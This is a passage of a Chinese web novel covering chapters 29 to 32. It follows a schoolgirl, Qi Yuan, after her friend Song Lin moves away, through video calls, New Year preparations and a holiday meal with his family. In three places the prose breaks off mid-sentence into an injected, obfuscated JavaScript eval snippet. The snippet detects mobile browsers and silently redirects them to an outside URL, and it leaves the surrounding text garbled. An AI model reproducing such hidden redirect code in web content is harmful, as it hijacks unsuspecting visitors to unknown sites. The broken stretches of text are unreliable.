他笑:“既然说过要保护你那肯定是不能食言的。” “嗯……好好学习,到时候你可得考个好大学,可不行学我啊,我这……” 他自顾自说着,祁缘听不下去了,打断他,“你是再也不回来了吗?” “……”不知道,宋健没跟他说这些。 他不说话,祁缘也不敢深问,怕真问出什么不如她意的话来,认命般点点头:“你走了也记得好好学习。” 宋嶙叹了口气:“那边没人教我。” “那就给我打电话。” 她说话带着浓浓的鼻音,她不想就这么断了联系,她怕他走了就把她忘了。 “哎呀,这么爱哭呢?” 宋嶙摸了下口袋,他没带纸,就用手背给她擦。祁缘咬了咬牙,做了这么久的表情管理,她到底还是没忍住。 “你别哭,等过年我就回来,我带你去放烟花行不行?” 祁缘看不清他的脸,揉了揉眼睛,“真的吗?” 宋嶙捏着她的脸,道:“我天,我什么时候骗过你?” 祁缘没吭声,算了算,离过年也就剩下一个月了。 想了想,她伸出手,露出一根小拇指,“拉勾。” “多大了还玩儿这个。”宋嶙表面嫌弃,但还是照着做了。 两根手指缠绕在一起时,其实祁缘都知道,这也就算是个仪式感。 因为宋嶙从来不会食言。 他会回来的。 她看着他的眼。你会回来的,对吧? 29. 第 29 章 宋嶙走了。 祁缘看着身旁空出来的座位,戒断反应最为致命,像是灵魂脱离了身体,这种抽离感使她全身无力,整个人仿佛只剩下一个骨架在这里摇摇欲坠。 她开始经常发呆出神,以前他总在这儿叽叽喳喳逗她开心,当时根本没想过有一天他会离开,现在想想,那些快乐的日子已经如同白驹过隙一般过去了,她感到了前所未有的孤独。 她总是出现幻觉,她看见宋嶙还一如既往地在她旁边坐着,还和以前一样,写了两笔就开始坐在那里拄着下巴发呆。祁缘笑了笑,她半抬着胳膊,马上就要触碰到他的脸时,眼前的一切突然消失了。 梦散了。 她怔住几秒,然后变得失落,手臂跟着垂下来。她又开始怀念,怀念曾经他的各种东西堆的到处都是,虽然大多都是些与学习无关的东西,但那样的日子最起码幸福且美好。然而现在桌面上却什么也没有,所有的地方都是空荡荡的。 她的心也是。 祁缘现在每天进教室前都在幻想宋嶙会不会突然出现在座位上,她感觉自己好像魔怔了,明知道不可能却还是在一次次给自己希望,事实也只能是一次次的落空。 她坐进座位里,就像曾经他对她那样,拿着纸巾一遍又一遍擦拭着他的桌子。 陈子涛的死,宋嶙的离开,班级并没有因为少了两个人而变化,还是以往那样热热闹闹的,除了她和何浩楠根本没人注意到这里,仿佛这个地方从头到尾都没有坐过人一样。 何浩楠也从此一蹶不振,两个好兄弟都走了,一个天人永隔,一个销声匿迹。他现在每天除了睡觉还是睡觉,根本不知道自己能干什么,班上有男生找他他也不去,就自己待着。 “何浩楠你这是干嘛?天天缩在这儿也不怕生蛆。” “对啊,他们走了就是走了,你总不能把自己困在这儿一辈子吧?” 有人在旁边劝他,可他现在什么也听不进去,把头埋进胳膊里,声音闷闷的。 “你们懂个屁!” “对对对,我们不懂,那你就一直在这儿损着吧,永远别向前看。”热脸贴冷屁股,其中一个人急了,转头拉着另一个出去了。 要是以前他们肯定不敢这么跟他说话,宋嶙把陈子涛和何浩楠护的跟个宝似的,为了不惹麻烦,说话恨不得都得低声下气的。 现在死的死,走的走,剩他一个,可没人怕他。 何浩楠的注意力压根儿就没在他们身上,深吸一口气,呼出去。走的不是他们朋友,他现在那种撕心裂肺的感受几乎没人能懂。虽然宋嶙还能用电话联系,但那就算是块发光的板砖,放下视频,就什么也看不见了。 祁缘一开始不知道宋嶙在那边过的怎么样,她没有手机,便想向何浩楠打听一下,可看他现在这个落魄的样子她也不好打扰他。 思虑再三,放学后祁缘还是决定用冯丽的手机,通过班级群加上了他的微信。 那边几乎秒通过,祁缘有点儿惊讶,因为她还没想好第一句要跟他说些什么,她没找到理由。 想了想,她缓缓打出:“你还好吗?” 宋嶙坐在阳台上,头靠着栏杆,看见这话扬起头来打量一圈儿周围。 估计宋健都没打算在这里长住,他们来的时候除了日用品就没带什么多余的东西,再加上屋内本就极简的设施,显得房子十分空旷,感觉说句话都能有回音了。 他们刚来这里时宋健还陪他在家待了两天,现在出去摆摊了,屋里没人说话更是死气沉沉的。要不是这儿有几盆盆栽开的正好,腿边趴着托马斯,他真觉得这里能拍案发现场的电视剧了。 对话框上的名称由宋嶙变成对方正在输入中,他不瞒她,实话实说:“就那样吧。” 回答的不是好,也不是不好,祁缘能感觉到他的郁闷,不想给他添堵,把那句打出来还没来得及发出去的“我有点想你”删掉,问他:“学校呢?新学校怎么样?” 该说不说,学校倒是挺新,教学楼都是翻新重盖的,教室宽而大,里面的黑板是多媒体的,雪白的墙面没有一点儿杂质。要是在北中有这种墙面,指不定被涂成什么样了。 他答:“这个挺好。” 她问什么他答什么,明明以前都是他找话题的,祁缘感觉宋嶙话变少了许多,甚至觉得他好像有点儿不太想理她,心情一落千丈,发了几个省略号。 文字没有感情,但宋嶙还是察觉到了,他坐直身子,双手捧着手机,问:“怎么了?” 她佯装无所谓:“没事啊。” 想了想,换了个别的话题。“好友申请你怎么同意的这么快?” 宋嶙本来是想先加她的,可是他不知道她什么时候有时间,又不想打扰到她外婆,纠结了好一阵,说:“我一直在等你。” 他回答的简单明了,祁缘原本黯淡无光的眼睛又重新充满光亮,她抿着唇笑起来:“好吧,那你有没有好好学习呀?” “学了,一堆不会的。” 她皱眉:“你怎么不问老师?” 宋嶙一副无赖的样子,“我只想让你教我。” 可偏偏这招对她最有用,祁缘开心地说:“那你有不会的就来问我呗。” 正合他意。宋嶙扬起嘴角,撸了一把托马斯,然后转身回屋找书。聊天框半天没动,他一直没回信息,祁缘刚想撂下手机,下一秒那头弹了个视频过来。 冯丽岁数大了耳朵不太好,所以她的手机铃声音量调的特别大。祁缘不出意外地吓了一跳,她没想到这人办事效率这么快,她还以为他会先找几道题给她拍下来,然后让她给他讲。 祁缘本来都已经换好睡衣进被窝了,这下又钻出来跳下床,床头柜上有小镜子,她拿过来理了理额前的碎发,然后才按下接听键。 片刻后,少年的清秀的脸出现在了屏幕里。宋嶙在看见她那一刻就笑了起来,好看的丹凤眼微微眯着,祁缘以前没注意,他居然还有颗虎牙。 宋嶙一看平时就不怎么拍照,他的原则仅仅只是把脸完完整整照进去能让她看清楚就好,毫无角度可言。可尽管全是这样的死亡视角,在视频里看上去却也像是精修过的,不扭捏,帅的过分。 几天没见,朝思暮想的人就在这里,祁缘一时没回神,宋嶙抬手挥了挥。 “干嘛呢?” 她快速眨巴两下眼睛,咳了咳:“我刚才在想事情。” 他笑:“我感觉你在想我。” 祁缘一下红了脸,“你快别自恋了。” “哪道题?”她急忙扯开话题。 宋嶙哼笑一声,不逗她了,把书立起来,另一只手拿着笔给她指了指:“这道,能看清楚吗?” 祁缘看了眼,去床边把自己书包拿过来,她刚起身,宋嶙这才看清楚她穿的是睡衣,皱起眉:“你穿个睡衣乱晃什么?不冷吗?” 她那屋什么威力他不是没见识过,他都多长时间没感冒了,这么强的免疫力病毒都能入侵,什么实力他不想再说了。 “外公今天烧了很多柴火,不冷的。” 宋嶙不信:“你穿个棉袄给我讲吧,要不然我不听了。” “……我去穿。”祁缘没想到他一个听课的居然在跟她讲条件,结果她还不得不照做。 她穿好衣服,拿着书重新坐回书桌旁,“你看我现在能讲了吗?” 宋嶙把脸贴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957271|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近镜头,从上到下打量了一番,点点头:“嗯,讲吧。” 祁缘叹出一口气,照着屏幕里的页数找到了那道题,她数学练习册没怎么做,她还没写到这里,要先想一想才能给他讲。 祁缘低下头,刘海轻轻垂着,认真时清澈明亮的眼睛好像一汪春水,长长的睫毛扑闪着,题目应该有点儿难,惹得她不经意间咬了下唇角。 宋嶙透过屏幕静静地看着她,祁缘现在的注意力都在题目上,她没空理他。他也就在这时卸下了伪装,扬起的唇角逐渐变得平直。看得见,摸不到,这种近在咫尺却又相隔万里的感觉使他感到抓心挠肝的难受。 宋健承诺他,等他调整好他们就搬回去。 可是他还是经常梦到陈子涛,梦到他爸妈,他们都叫他去死。 他到底什么时候能调整过来?他不知道。 宋嶙想的太过入神,连祁缘什么时候抬头了他都没注意到。她不忍心见他装的这么累,抬手把笔扔地上,假装打了个哈欠。 不出所料,他听见声响马上从思绪中抽离出来,笑道:“困成这样啊?那你先睡觉吧,有空再讲。” 祁缘:“我还没有讲呢。” “也不着急,什么时候都行,只要你有空,我就有空。”宋嶙说。 而且这个理由本来也只是个幌子。 祁缘装模作样揉了揉眼睛,“好吧好吧,那你也早点睡啊,不许熬夜。” “知道了,晚安。” “晚安。” 屏幕一黑,屋内亮起的白炽灯照在上面,他们只能看到各自的脸,映在上面满是愁容。 谁也不知道这片黑暗什么时候才会过去,光明又什么时候才会到来。 日子总得接着过,这天崔荣从办公室里拿过来一些小纸条,什么形状都有,五颜六色的。他站在讲台上,让每排的第一个人发下去,直到人手一张他才开始讲话。 “这是校长让写的,在上面写上你们的目标或者梦想,比如马上期末了,想答多少分,再不就想考什么大学,等等,这些都可以。” 发到祁缘这里,她拿在手上,静静地看了半天都不知道该写些什么。她扭头望着窗外放空,今天又是一个好天气,他们班做的雪人已经融化的差不多了,操场上滞留着一滩滩积水。她除了那个,似乎没什么梦想。 都说了是梦想,写下来应该没什么问题吧?她决心落笔,刚写完一个字,崔荣下台巡视,一边走一边叮嘱道:“可好好写啊,校长要看的。” 祁缘又把那个字勾了。 交纸条的时候,崔荣在前面站着,来一个收一个,他要先过一下目再交到校长那里,因为老有些捣蛋鬼喜欢瞎写。 听说去年就有个学生写的希望学校赶快倒闭,校长黑了一个月的脸,那时纸条全都混在一起,没有班级,没有署名,要不然找到了肯定要好好教训一番。 所以今年特意规定了,要一个班一个班的交。祁缘把纸条递给他,崔荣接过来看了眼:医学院。 人只要有梦想就好,也算是有个奔头。他刚想放下,突然看见字前面还有个涂黑的圆点。崔荣好奇心作祟,他想知道她之前写下来的是什么,可是笔墨染的太黑了,他还有点儿近视眼,看不清。 于是他特意把她的纸条放在最上面,打算到时候回办公室取眼镜再看一下。现在劝人学医天打雷劈,这个职业太累了,他想看看她之前写的是什么,如果是个轻松又有含金量的专业,两个愿望他还可以劝劝她。 办公室光线不太好,但好在他有个不错的台灯,他满心期待地戴上眼镜,字体顿时清晰了不少,可也就是在这一刻,他怔住了。 那是一个宋字。 30. 第 30 章 高二的寒假来的有些晚。 作业不是很多,祁缘几天就写完了。剩下的时间就是守在日历旁边数日子,这种东西以前都是冯丽撕,如今是她抢着撕。她好像从来没有这么期待过,祁缘现在只希望时间快点,快点,再快点。 另一边,殷鹏正坐在沙发上弄灯笼,本来还想用去年那个,结果他早上去拿的时候发现灯笼放在仓库被老鼠给咬坏了。好好的东西就这么给咬坏了,气的他直接在里面下了好几个捕鼠夹。手上这个是他新买回来的,不管款式还是灯光都是今年的最新款。 全部安装好后,他通上电,灯带瞬间亮起,里面的灯芯红彤彤的,外面的灯带是彩色的,尽管现在是白天,看上去也十分晃眼。 殷鹏笑起来,他现在对自己的眼光满意的不行,来回更换不同的角度欣赏。冯丽刚收拾完厨房进屋,见他这样子轻嗤一声:“都说了旧的不去新的不来,这今儿早上脸黑的。” 殷鹏撇撇嘴:“花了我八十块钱呢。” “给你心疼的,少喝点酒这钱就出来了。” 他最不爱听这话,没接茬,提着灯笼出去了。走到门口又折返回来,招呼祁缘帮他把一下凳子。 “好的外公。” 他们家墙比较高,祁缘听冯丽说过,殷鹏年轻的时候个子不矮,从他的视角来看怎么都觉得家里的墙矮,就不听别人话非要多砌好几层出来。现在好了,老了腰板直不起来开始往回缩了,他现在挂灯笼都得费老大劲才能挂上。 一把老骨头了,冯丽再怎么瞅他来气都得出来帮忙,她和祁缘一个把凳子一个抓他腿,殷鹏刚开始还不怎么敢抬脚,这下心里有底了几下就挂上了。 他颤颤巍巍从凳子上下来,抬着头掐着腰,又开始欣赏了。 殷鹏最在乎这种仪式感,每年一到这个时候就紧忙拿出来,反观冯丽对这玩意儿就不怎么感兴趣,她摸了把祁缘冻的通红的耳朵,推她进屋,“走走走,这外面冷死了。” 屋里的温度还外面相比简直是一个天上一个地下,两人暖和了一阵,冯丽去冰箱里看看还有多少肉了,翻了翻,好像不太够。 “我去买点儿肉去,你去不去?” 祁缘脑子里立马浮现出上次她跟那个商贩讨价还价的场景,赶忙穿衣服,“去。” 冯丽心比较细,买东西前都要先讨价还价一番,最后达到心里预期了才能买。祁缘还怕她跟人家起争执,结果碰到上次那几个不好说话的摊位她连看都没看,转头就往别的摊位去了。 冯丽带着她去了一个卖肉的摊子,那老板娘长的看上去就淳朴憨厚,本来在坐着玩手机,见来人了就笑眯眯地站起来了。 “大娘你看你要买点儿啥?这肉都是新进的,回家你就吃去吧老香了。”老板娘一边说话一边磨刀。 所有卖东西的都是用这一句万能的客套话来揽客,祁缘在后边看着,她不会挑,看上去都差不多。 冯丽左看看右看看,最后提起来一个面相还不错的五花肉给她,“把这个给我切成几个小块吧。” “好嘞。” 她又相中一块牛肉,把这个也提起来递给老板娘,“这个给我搅碎了,我拿回家包饺子。” “行,我这就给你整。” 冯丽盯着她上称,又盯着她切,以前看电视的时候就有人爆料说卖肉贩子会偷偷往里塞不好的肉,买吃的这事不能含糊,她现在眼睛都恨不得粘在老板娘菜板上。 祁缘拽了下冯丽的衣角,小声说:“外婆,买这么多能吃完吗?” 冯丽不以为意:“到时候把你宋叔叔和阿嶙都叫过来,有啥吃不完的。” “哦。”祁缘点点头,转眼间在她身后乐开了花。 买了点肉又买了点菜,样数太多不好拿,而且冯丽岁数大了也拿不动,于是两人去菜市场旁边买了个小拉车,把这些东西统统放进去都还没满,下面带轱辘的用手拉着也不累,性价比还是很高的。 回去的路上遇到卖鞭炮的,老板坐在店门口的台阶上热情地推销,冯丽凑过去看了眼,就一些二踢脚窜天猴什么的,没什么好东西。 刚想走开,那老板赶忙站起来,“哎哎,别走啊,小姑娘,你看我这还卖仙女棒呢。” 店家的套路都是这样,大人不买就推销给小孩儿。祁缘看了眼,有心形的,还有五角星的。 她顿住,回想起以前祁建强好吃懒做从来不愿意把钱花在这上面,她要是敢买回去就得做好挨揍的准备。想了想,这个东西她只在视频里见过,同龄的小孩儿都玩腻了,她还没碰过。 祁缘看的出神,冯丽走过来,拿起一个五角星形的,问:“这一个多少钱啊?” 那老板双手插着口袋,笑笑:“不贵,就五块钱一个。” “一个五块钱?”祁缘瞪圆了眼睛。 “对啊,是不是挺便宜的?” 她把冯丽手上的仙女棒放回去,拉着她退后了一步,“贵死了。” 老板嘴角瞬间耷拉下来,反驳道:“这还贵?小姑娘真不是我说你啊,我这是咱北城卖的最便宜的地方了,你大可以出去打听打听,看看谁家有低于五块钱的!” 他左右扫了一眼,知道就她们一老一小上街,两人长的还都挺矮,说话也就不注意什么分寸了:“买不起就说买不起的,五块钱都嫌贵。” 看出来这是在用激将法了,偏偏冯丽还吃这一套,把自己气的不行:“说谁买不起呢?你给我拿十……” 祁缘见状不对,一手拽着拉车一手抓着她,冯丽话还没说完就被扯走了。走出老远祁缘才放慢脚步,呼出一口气,差点儿就让那个老板得逞了。 “什么人品……”祁缘转头一看,冯丽还在那生气呢,眉毛都竖起来了。 “……外婆,你跟他较什么劲儿啊?” 冯丽咽不下这口恶气,愤愤道:“这不就是看不起咱们吗?” 祁缘就知道她是这么想的,摇摇头:“他的目的就是想激怒你让你买,我刚才要不是拉着你跑,你是不是就买了?” “一个玩儿的买了就买了呗,我看你好像还挺喜欢那玩意儿的。” 闻言,她顿了顿,语气很轻,更像是在叹气: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957272|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没有,以前总玩,都玩腻了。我刚刚就是想看看他那盒子里还有没有什么别的好玩的。” 冯丽看着她,紧抿着嘴唇,崩成了一条直线,最后也只是揉了揉她的脑袋,没说话。 到家时已经接近中午了,吃过饭后冯丽把东西一一拿出来摆在厨房里,这样好分辨。她把装着牛肉的塑料袋打开,感觉肉块还是有点儿大,倒出来扔菜板上,提起旁边的菜刀,剁的声音叮当响。 祁缘和殷鹏在屋里剪窗花,听冯丽说北城一直都有这个习俗,难怪那时候殷曼每次带她上街看见窗花就走不动道。 最后忍不住了,殷曼问过一次价格,一听太贵不划算就想自己做,红色的宣纸都买好了,结果祁建强不让,把纸撕的稀碎,还斥责她让她以后少往家整那些花里胡哨的东西。 所以祁缘压根儿就没接触过窗花,去年刚过来的时候天天找个角落一躲也不出去,这是她第一次参与。她不太会,殷鹏就先剪一个给她打个样儿出来,她看完一遍再动手。 看着挺简单,可也仅仅只是看着而已。她在那里比划半天,硬是没想明白第一剪应该落在哪个位置比较好。家里还都是那种老式的大剪刀,她稍微剪的多一点儿就给剪坏了,一连几个都是这样的结局。 祁缘剪刀一丢,泄了气,殷鹏笑笑,耐心道:“慢慢来,第一次做都这样儿。” 她心里正在打退堂鼓,喃喃道:“怎么这么难啊?纸都被我弄坏好几张了。” “没事儿,这宣纸咱家多的是,好不好看是咋,你剪啥样儿外公都喜欢,不管剪啥样儿外公都给它们贴窗户上。” 殷鹏呵呵地笑着,安慰完她就又埋头去剪纸了,头上的棉帽有点压脑门,他往上提了下,露出几根银发。 祁缘随着他手部的动作看过去,注意到外公两侧的鬓角都已斑白,笑起来眼角的皱纹全都堆积在一起,深深的,像一圈圈年轮。 她看的入神,眼睛也不知不觉失了焦。 比起以前鸡飞狗跳的日子,如今生活中少了太多谩骂,多了不知多少数不清的鼓励。按理来说,原本破烂黑暗的生活已经走向光明,她应该感到开心,可她现在更多的居然是担忧。 或许是对她好的人多了,她担心的事也就多了。看到外公外婆年纪越来越大,身体也一天不如一天,因为曾经体验过一次失去至亲的感受,她很害怕再体验第二次。 祁缘沉默片刻,拿起一张红宣纸,另一只手拿剪刀,笑起来:“外公,那你再给我演示一遍好不好?” 殷鹏侧了侧头,但视线还停留在手上的宣纸上,他颤颤巍巍地把纸抬高了点儿,笑应:“行,看多少遍都行。” 于是在不久之后祁缘得到了第一个完整的窗花。 还有第二个、第三个…… 殷鹏也说到做到,今年窗户上贴的都是祁缘剪的窗花。他抱着胳膊站在窗前,脸上挂着笑,像是在欣赏什么大作。 “我们小缘剪的窗花就是好看,外公真喜欢,明年记得还要帮外公剪啊。” 祁缘坐在后面吃水果,闻言笑了笑:“好。” 31. 第 31 章 爆竹声中一岁除,天还没有亮,丁点火光划破天际,下一秒在天空中炸开。 咚,咚,咚。 祁缘由于昨晚帮冯丽蒸馒头一直忙到了十二点才睡觉,现在困的不行。她极不情愿地睁开一截眼睛,扭头看了眼床头柜上的时钟,竟然还没到五点。 这种事情,只要有一个人打了头阵,那后面一个个的也就都跟着过来凑热闹了。有的人家估计是嫌二踢脚就响两下不够过瘾,直接扯出来个挂鞭,这回倒是合他意,噼里啪啦的震天响,吵的人头都大了。 她以为怎么着也能停一会儿,后来才知道她这个想法到底有多天真。这帮人似乎根本不知道累,一个个兴奋的怎么看怎么像是打了鸡血,鞭炮一个接着一个的响,压根儿不带断的。 祁缘被震的直皱眉,她翻了个身,顺带着伸手把被子扯过头顶。她猜测这次肯定是邻居家干的好事,刚才这个鞭炮好像就在她耳边炸开的一样,耳根子都跟着疼。 折腾了半天,弄得她现在睡意全无,一想到今晚还要熬夜守岁,她就十分郁闷地在被窝里打起了滚儿。 上次这么无语的时候还是在元旦。 她受不了了,掀开被子下床,趿拉着拖鞋去厕所。门刚咧开一条缝,客厅刺眼的灯光照在脸上,她猝不及防地捂住眼睛。 原来活跃的不止别人,还有殷鹏和冯丽。两人一大清早就开始和面,看样子早饭估计是面条。 “外公外婆过年好。”祁缘虽然眼睛睁不开,但也没忘记走这个仪式。 殷鹏见她出来,手上的动作顿了下,先是说了声“小缘新年好”,然后支支吾吾道:“还真把你给吵醒了?” 祁缘缓了会儿才把眼前的胳膊拿下去,她嘟囔:“其实最开始我应该是能睡着的,没想到后来隔壁突然放了个特别响的,直接把我震精神了。” “啊……”殷鹏弱弱地回应,冯丽本来还有点儿生气,看见他俩这反应,直接没忍住笑出声:“啥隔壁呀?你外公刚才把擀面杖整掉地上了。” “……这样啊。”祁缘尴尬地笑笑,转头去厕所了,还好她刚才没说出些什么过分的话。 出来的时候,冯丽把事先准备好的红包递给她,祁缘退后两步,不想接。 “外婆,我已经长大了,红包就不要了。” 冯丽强硬塞到她手上,认真道:“那怎么行?里边就三百块钱,外公外婆也没多大本事,这钱是祝福,你必须得拿着。” “那……好吧。” 早饭还真就是面条。冯丽让她再去睡会,说饭好了再叫她,可祁缘走完这一圈儿下来现在一点儿睡意都没有了,索性直接把睡衣换掉,出来帮他们俩干点活。 结果她在旁边站着看了半天,两人一个负责擀,一个负责切,配合倒是挺默契,她是一点插不上手,在那里背着手倒像是过来视察工作的。 “外婆,你看看我能帮你们干点什么?” 话音刚落,她站在原地没忍住打了个哆嗦。农村就这样,一清早的厨房跟冰房似的,冯丽怕她感冒,指了下灶台边上的小板凳,“没你能干的,你去那里坐会儿吧,那暖和。” 冯丽说的是实话,她没做过面条,单拎出来哪个步骤她都不会弄。祁缘也没反驳,听话地走开,“那我去添柴。” 家里经常吃面条,都是他们亲手做的,时间长了办事效率也就快了,不一会儿就做了一大锅。祁缘站起来看了眼,质疑道:“做这么多,我们三个怎么吃的完啊?” 冯丽还没来得及说话,下一秒房门被推开,宋健侧着身子进来,他手上正拎着大大小小几箱礼品,喜笑颜开道:“小缘过年好啊!殷叔,冯姨,你们过年好啊!” 祁缘僵在那里,她还没反应过来,但嘴比脑子快,磕磕巴巴地说:“宋……宋叔叔过年好。” 宋嶙跟在宋健身后进来,他状态好了很多,跟以前大差不差,笑起来一股子阳光男孩儿的气息,也开始拜年:“外公外婆过年好。” “过年好过年好!”两人异口同声道,殷鹏笑着走过来,摸了把宋嶙的肩膀,一脸震惊:“感觉一个月没见这孩子又长个儿了呢。” 宋健跟着笑:“快别长了,就长个子不长肉,往那一站跟个杆子似的。” 宋嶙刚被夸完就被损了一通,脸一会儿晴一会儿阴的,不乐意了,争辩道:“我还有腹肌呢!” “有腹肌咋的?谁还能不看外观,过来先扒开你衣服看啊?” 他俩在一块儿就掐架,殷鹏被逗的哈哈大笑,抬手拉着宋健进屋,一边走一边说:“哎呦,就过来过个年拿这么多东西干什么?一会儿回去的时候赶紧把这些玩意都带回去。” “拿都拿来了还能带走?殷叔你快别说笑了。” 两人的声音越来越远,最后被门帘彻底隔开。冯丽紧跟着倒了两杯白开水,一杯递给宋嶙,另一杯拿进屋里去给宋健了。 祁缘现在终于明白为什么做这么大一锅面了,看他们这个反应原来是早就商量好了,只有她自己被蒙在鼓里。 厨房里只剩下他们两个,锅里气泡滚滚,她蹲下来添柴,宋嶙太阳穴突突直跳,没想到自己就这么被忽略了。他弓下腰,手掌撑着膝盖,问:“我这么早就来了,你怎么就这个反应?” 祁缘不看他,拿木棍捅灶台里面的火,平静地说:“你还没给我拜年。” “……”宋嶙蹲她旁边,大手覆在她的脖颈上,捏了捏,“你这小屁孩儿怎么想的?让我给你拜年?” 他说着,手劲儿增大了几分。祁缘缩着脖子往后躲,挣扎了半天也没逃脱,她这下终于肯给他个正脸了,愤愤道:“凉!” “不凉我还抓你干什么?” “……” 早饭做的清汤面,冯丽调的味道很香,祁缘不太饿,只吃了大半碗就饱了。剩下的时间就是看宋嶙吃,他吃了满满两大碗,刚要扔筷子,殷鹏又给他夹了个荷包蛋。嘴里念叨着:“这孩子太瘦了,得多吃点儿。” “瘦归瘦,你看他脸多大。”宋健刚抨击完,突然想起来点什么,脸一黑,“上次他来你们家蹭饭,都没跟我说。” 宋嶙把荷包蛋一口都塞进嘴里,说话时候一鼓一鼓的,像个河豚。“三天两头你就得抱怨一遍,不就是没带你来吗?” “对呀,那你为什么不带我?” 他咽下去,笑的蔫坏:“不想带,有好吃的就想自己吃。” 宋健气的咬牙:“你说你……” “行了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969281|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行了,你们父子能不能和谐一点儿啊?”冯丽笑了笑,把矛头指向宋健,“你也别老说阿嶙,人家还是个小孩儿,乐意来就来呗。” “对呀对呀。”宋嶙在旁边附和。 好一个“小孩儿”,宋健实在是没忍住,翻了个白眼儿,马上一米九了,是整个屋里最高的,还小孩儿呢? 中午要做十二个菜,时间紧任务重,饭后几人把桌子收拾出来,祁缘负责洗碗,宋嶙负责洗菜,剩下的活就都交给冯丽来干。 另外两个也不能闲着,殷鹏把春联拿出来一一铺好,分好以后宋健把它们都贴上胶带,避免外面有风来回撕费劲。 弯着腰粘好了最后一个,他直起身来活动两下,“走吧殷叔,我全都整完了。” 殷鹏“嗯”了声,转头看他穿的单薄,劝说道:“这天你得再套个棉袄,要不然冷。” “我天,我这么大个头还用大包小裹的?你也太小看我了。” 宋健撸起一节袖子,刚要展示,殷鹏推开房门,一瞬间冷风嗖嗖地往屋里钻。 宋健没忍住打了个寒战,但又拉不下来面子,逞能不说,抬腿就要往外走。冯丽似乎看出来了,去衣柜里找了个殷鹏的棉大衣给他套上。 “冯姨,我不冷啊。” 冯丽还挺配合,态度十分强硬:“赶紧的吧,让你穿着就穿着。” “哎呀那行吧。” 祁缘洗好了碗,一边擦手一边看他俩在那边相互推搡,她看不出来怎么回事,但宋嶙一目了然,那是他爸,他做什么都什么都逃不出他的火眼金睛。 宋嶙摆出一副很理解宋健的样子,拖着长音道:“外婆,我爸不想穿就拉倒吧,他火气旺,你给衣服拽下来就行。” “你小子,怎么哪儿都有你?” 宋健瞪了他一眼,裹紧身上的外套,转身就走了,头都不带回的,生怕冯丽信了他的邪,把他身上的衣服给收回去。 房门紧闭,隔开两个世界。冯丽扭头看他,双眼含笑:“你也看出来了啊?” 宋嶙不怀好意地点头,她笑他:“小机灵鬼,可能给你爸出坏道儿了。” 祁缘还是懵的,她听的一知半解,没搞明白他们在说什么,在旁边弱弱地问:“宋叔叔怎么了?” “他……”宋嶙故意拉着长音,抬起带水的那只手冲她一弹,水花溅了她一脸。他笑:“求我我就告诉你。” 祁缘抹了把脸,无语道:“那你憋着吧。” 今天第二次被冷落了,宋嶙“呦呵”一声,下一秒站到她跟前。这惊人的身高差,祁缘往后退了一步,不得不仰视他。 “你干嘛?” “我劝你现在说两句我乐意听的好话。” “不说。” 冯丽还在这,他还能怎么收拾她?祁缘晃着脑袋刚要走开,却被宋嶙一把抓住。还没来得及反应,他冰凉的掌心就落在了她的脸上。 “宋嶙!” 祁缘被冰的五官都皱在了一起,这家伙手是用冰块做的吗? 她试图向冯丽求救,然而后者只顾着笑,摆明了他们两个的恩怨她不参与。 “哎呀我真服了!” 打又打不过,宋健不在,她只能认命了。 32. 第 32 章 冯丽做菜手法一绝,十二道菜,有荤有素还有汤,每一口都是一种不同的体验。 宋健自从上次来这里吃过一回后就上瘾了,这个味道使他毕生难忘,只是后来一直没理由过来蹭饭,他就一直心心念念,一直惦记着这口。 之前他总在乎什么举止得体,这次他也不装假了,桌上有什么吃什么,殷鹏叫他喝酒他都不喝,恨不得比宋嶙吃的都多。 有人认可她的手艺冯丽自然开心,但她也怕他一次性吃太多胃疼,劝说道:“小宋,你想什么时候来就什么时候来,我们家随时欢迎你,可你现在这样容易消化不良啊。” “主要还是太好吃了,”宋健说,“那时候我妈做菜跟您这手艺比起来简直不相上下,只是她和我爸走的早,后来我就没吃过了。” 他笑笑:“可能是怀念我妈的味道了。” “哈哈哈,那以后就常来,想吃多少我就给你做多少。” “那感情好了。” 酒足饭饱之后,殷鹏把饭桌擦干净,转头从储物柜里翻出来一副扑克,还是新的。他一边拆封一边说:“过年了这么干待着多没意思,都过来打扑克。” 宋嶙接过殷鹏递过来的牌,拿在手边试了试,先来了个赌神拉牌,然后洗了洗,询问他们的意见:“玩什么?红十?五十K?还是炸金花?” 祁缘一听都不太会,他说的这些她就玩过一个五十K,还老是忘了捡牌。她打了退堂鼓,想让冯丽上,后者笑着摇摇头,说想看她玩。 “看小缘爱玩啥,一天净随你了。”宋健撇了他一眼,扭头看向祁缘。她想了想,试探着问:“我就会普通的,行吗?” 宋嶙扯了下嘴角:“行,别给你打哭了就行。” 